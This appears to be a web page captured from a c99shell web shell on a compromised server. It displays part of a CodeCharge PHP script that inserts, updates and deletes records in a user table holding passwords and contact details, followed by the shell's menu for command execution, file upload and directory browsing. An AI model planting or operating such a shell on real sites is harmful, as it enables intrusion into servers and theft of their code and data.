$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildInsert", $this->Parent);
        
$this->SQL = "INSERT INTO phpSP_users ("
             
. "`user`, "
             
. "password, "
             
. "userlevel, "
             
. "kontakt, "
             
. "Pocetak_saradnje, "
             
. "napomena, "
             
. "Organizacija, "
             
. "Adresa, "
             
. "E_mail, "
             
. "Telefon, "
             
. "Fax, "
             
. "Mobilni, "
             
. "Web, "
             
. "MinaCijeli_site_do, "
             
. "MinaGen_site_do, "
             
. "MinaBiz_site_do, "
             
. "Daily_site_do, "
             
. "Daily_mail_do, "
             
. "MinaB_mail_do"
             
. ") VALUES ("
             
. $this->ToSQL($this->user->GetDBValue(), $this->user->DataType) . ", "
             
. $this->ToSQL($this->password->GetDBValue(), $this->password->DataType) . ", "
             
. $this->ToSQL($this->ListBox1->GetDBValue(), $this->ListBox1->DataType) . ", "
             
. $this->ToSQL($this->kontakt->GetDBValue(), $this->kontakt->DataType) . ", "
             
. $this->ToSQL($this->Pocetak_saradnje->GetDBValue(), $this->Pocetak_saradnje->DataType) . ", "
             
. $this->ToSQL($this->napomena->GetDBValue(), $this->napomena->DataType) . ", "
             
. $this->ToSQL($this->Organizacija->GetDBValue(), $this->Organizacija->DataType) . ", "
             
. $this->ToSQL($this->Adresa->GetDBValue(), $this->Adresa->DataType) . ", "
             
. $this->ToSQL($this->E_mail->GetDBValue(), $this->E_mail->DataType) . ", "
             
. $this->ToSQL($this->Telefon->GetDBValue(), $this->Telefon->DataType) . ", "
             
. $this->ToSQL($this->Fax->GetDBValue(), $this->Fax->DataType) . ", "
             
. $this->ToSQL($this->Mobilni->GetDBValue(), $this->Mobilni->DataType) . ", "
             
. $this->ToSQL($this->Web->GetDBValue(), $this->Web->DataType) . ", "
             
. $this->ToSQL($this->MinaCijeli_site_do->GetDBValue(), $this->MinaCijeli_site_do->DataType) . ", "
             
. $this->ToSQL($this->MinaGen_site_do->GetDBValue(), $this->MinaGen_site_do->DataType) . ", "
             
. $this->ToSQL($this->MinaBiz_site_do->GetDBValue(), $this->MinaBiz_site_do->DataType) . ", "
             
. $this->ToSQL($this->Daily_site_do->GetDBValue(), $this->Daily_site_do->DataType) . ", "
             
. $this->ToSQL($this->Daily_mail_do->GetDBValue(), $this->Daily_mail_do->DataType) . ", "
             
. $this->ToSQL($this->MinaB_mail_do->GetDBValue(), $this->MinaB_mail_do->DataType)
             .
")";
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteInsert", $this->Parent);
        if(
$this->Errors->Count() == 0 && $this->CmdExecution) {
            
$this->query($this->SQL);
            
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteInsert", $this->Parent);
        }
    }
//End Insert Method

//Update Method @2-D47877A3
    
function Update()
    {
        global
$CCSLocales;
        global
$DefaultDateFormat;
        
$this->CmdExecution = true;
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildUpdate", $this->Parent);
        
$this->SQL = "UPDATE phpSP_users SET "
             
. "`user`=" . $this->ToSQL($this->user->GetDBValue(), $this->user->DataType) . ", "
             
. "password=" . $this->ToSQL($this->password->GetDBValue(), $this->password->DataType) . ", "
             
. "userlevel=" . $this->ToSQL($this->ListBox1->GetDBValue(), $this->ListBox1->DataType) . ", "
             
. "kontakt=" . $this->ToSQL($this->kontakt->GetDBValue(), $this->kontakt->DataType) . ", "
             
. "Pocetak_saradnje=" . $this->ToSQL($this->Pocetak_saradnje->GetDBValue(), $this->Pocetak_saradnje->DataType) . ", "
             
. "napomena=" . $this->ToSQL($this->napomena->GetDBValue(), $this->napomena->DataType) . ", "
             
. "Organizacija=" . $this->ToSQL($this->Organizacija->GetDBValue(), $this->Organizacija->DataType) . ", "
             
. "Adresa=" . $this->ToSQL($this->Adresa->GetDBValue(), $this->Adresa->DataType) . ", "
             
. "E_mail=" . $this->ToSQL($this->E_mail->GetDBValue(), $this->E_mail->DataType) . ", "
             
. "Telefon=" . $this->ToSQL($this->Telefon->GetDBValue(), $this->Telefon->DataType) . ", "
             
. "Fax=" . $this->ToSQL($this->Fax->GetDBValue(), $this->Fax->DataType) . ", "
             
. "Mobilni=" . $this->ToSQL($this->Mobilni->GetDBValue(), $this->Mobilni->DataType) . ", "
             
. "Web=" . $this->ToSQL($this->Web->GetDBValue(), $this->Web->DataType) . ", "
             
. "MinaCijeli_site_do=" . $this->ToSQL($this->MinaCijeli_site_do->GetDBValue(), $this->MinaCijeli_site_do->DataType) . ", "
             
. "MinaGen_site_do=" . $this->ToSQL($this->MinaGen_site_do->GetDBValue(), $this->MinaGen_site_do->DataType) . ", "
             
. "MinaBiz_site_do=" . $this->ToSQL($this->MinaBiz_site_do->GetDBValue(), $this->MinaBiz_site_do->DataType) . ", "
             
. "Daily_site_do=" . $this->ToSQL($this->Daily_site_do->GetDBValue(), $this->Daily_site_do->DataType) . ", "
             
. "Daily_mail_do=" . $this->ToSQL($this->Daily_mail_do->GetDBValue(), $this->Daily_mail_do->DataType) . ", "
             
. "MinaB_mail_do=" . $this->ToSQL($this->MinaB_mail_do->GetDBValue(), $this->MinaB_mail_do->DataType);
        
$this->SQL = CCBuildSQL($this->SQL, $this->Where, "");
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteUpdate", $this->Parent);
        if(
$this->Errors->Count() == 0 && $this->CmdExecution) {
            
$this->query($this->SQL);
            
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteUpdate", $this->Parent);
        }
    }
//End Update Method

//Delete Method @2-53EE2C17
    
function Delete()
    {
        global
$CCSLocales;
        global
$DefaultDateFormat;
        
$this->CmdExecution = true;
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeBuildDelete", $this->Parent);
        
$this->SQL = "DELETE FROM phpSP_users";
        
$this->SQL = CCBuildSQL($this->SQL, $this->Where, "");
        
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "BeforeExecuteDelete", $this->Parent);
        if(
$this->Errors->Count() == 0 && $this->CmdExecution) {
            
$this->query($this->SQL);
            
$this->CCSEventResult = CCGetEvent($this->CCSEvents, "AfterExecuteDelete", $this->Parent);
        }
    }
//End Delete Method

} //End phpSP_usersDataSource Class @2-FCB6E20C

//Include Page implementation @38-58DBA1E3
include_once(RelativePath . "/Footer.php");
//End Include Page implementation

//Initialize Page @1-D9978A90
// Variables
$FileName = "";
$Redirect = "";
$Tpl = "";
$TemplateFileName = "";
$BlockToParse = "";
$ComponentName = "";

// Events;
$CCSEvents = "";
$CCSEventResult = "";

$FileName = FileName;
$Redirect = "";
$TemplateFileName = "phpSP_user_maint.html";
$BlockToParse = "main";
$TemplateEncoding = "CP1250";
$PathToRoot = "./";
//End Initialize Page

//Authenticate User @1-DC94A87D
CCSecurityRedirect("1", "");
//End Authenticate User

//Initialize Objects @1-AE57347F
$DBConnection1 = new clsDBConnection1();
$MainPage->Connections["Connection1"] = & $DBConnection1;

// Controls
$Header = & new clsHeader("", "Header", $MainPage);
$Header->Initialize();
$phpSP_users = & new clsRecordphpSP_users("", $MainPage);
$Footer = & new clsFooter("", "Footer", $MainPage);
$Footer->Initialize();
$MainPage->Header = & $Header;
$MainPage->phpSP_users = & $phpSP_users;
$MainPage->Footer = & $Footer;
$phpSP_users->Initialize();

$CCSEventResult = CCGetEvent($CCSEvents, "AfterInitialize", $MainPage);

$Charset = $Charset ? $Charset : "windows-1250";
if (
$Charset)
    
header("Content-Type: text/html; charset=" . $Charset);
//End Initialize Objects

//Initialize HTML Template @1-647ABCC9
$CCSEventResult = CCGetEvent($CCSEvents, "OnInitializeView", $MainPage);
$Tpl = new clsTemplate($FileEncoding, $TemplateEncoding);
$Tpl->LoadTemplate(PathToCurrentPage . $TemplateFileName, $BlockToParse, "CP1250");
$Tpl->block_path = "/$BlockToParse";
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeShow", $MainPage);
//End Initialize HTML Template

//Execute Components @1-2D624758
$Header->Operations();
$phpSP_users->Operation();
$Footer->Operations();
//End Execute Components

//Go to destination page @1-B56633E6
if($Redirect)
{
    
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeUnload", $MainPage);
    
$DBConnection1->close();
    
header("Location: " . $Redirect);
    
$Header->Class_Terminate();
    unset(
$Header);
    unset(
$phpSP_users);
    
$Footer->Class_Terminate();
    unset(
$Footer);
    unset(
$Tpl);
    exit;
}
//End Go to destination page

//Show Page @1-62C5DE9C
$Header->Show();
$phpSP_users->Show();
$Footer->Show();
$Tpl->block_path = "";
$Tpl->Parse($BlockToParse, false);
$main_block = $Tpl->GetVar($BlockToParse);
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeOutput", $MainPage);
if (
$CCSEventResult) echo $main_block;
//End Show Page

//Unload Page @1-E51CF672
$CCSEventResult = CCGetEvent($CCSEvents, "BeforeUnload", $MainPage);
$DBConnection1->close();
$Header->Class_Terminate();
unset(
$Header);
unset(
$phpSP_users);
$Footer->Class_Terminate();
unset(
$Footer);
unset(
$Tpl);
//End Unload Page


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0067 ]--